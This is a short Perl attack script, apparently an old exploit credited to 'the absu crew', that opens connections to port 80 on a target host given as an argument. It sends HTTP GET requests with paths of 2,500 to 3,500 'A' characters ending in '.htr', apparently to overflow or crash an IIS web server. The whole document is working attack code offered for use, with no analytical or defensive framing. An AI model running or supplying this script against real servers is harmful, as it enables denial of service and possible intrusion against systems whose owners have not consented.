#!/usr/bin/perl
                  #props to the absu crew
                  use Net::Telnet;
                  for ($i=2500;$i<3500;$i++)
                   {
                          $obj=Net::Telnet->new( Host => "$ARGV[0]",Port => 80);
                          my $cmd = "GET /". 'A' x $i . ".htr HTTP/1.0\n";
                          print "$cmd\n";$obj->print("$cmd");
                          $obj->close;
                   }
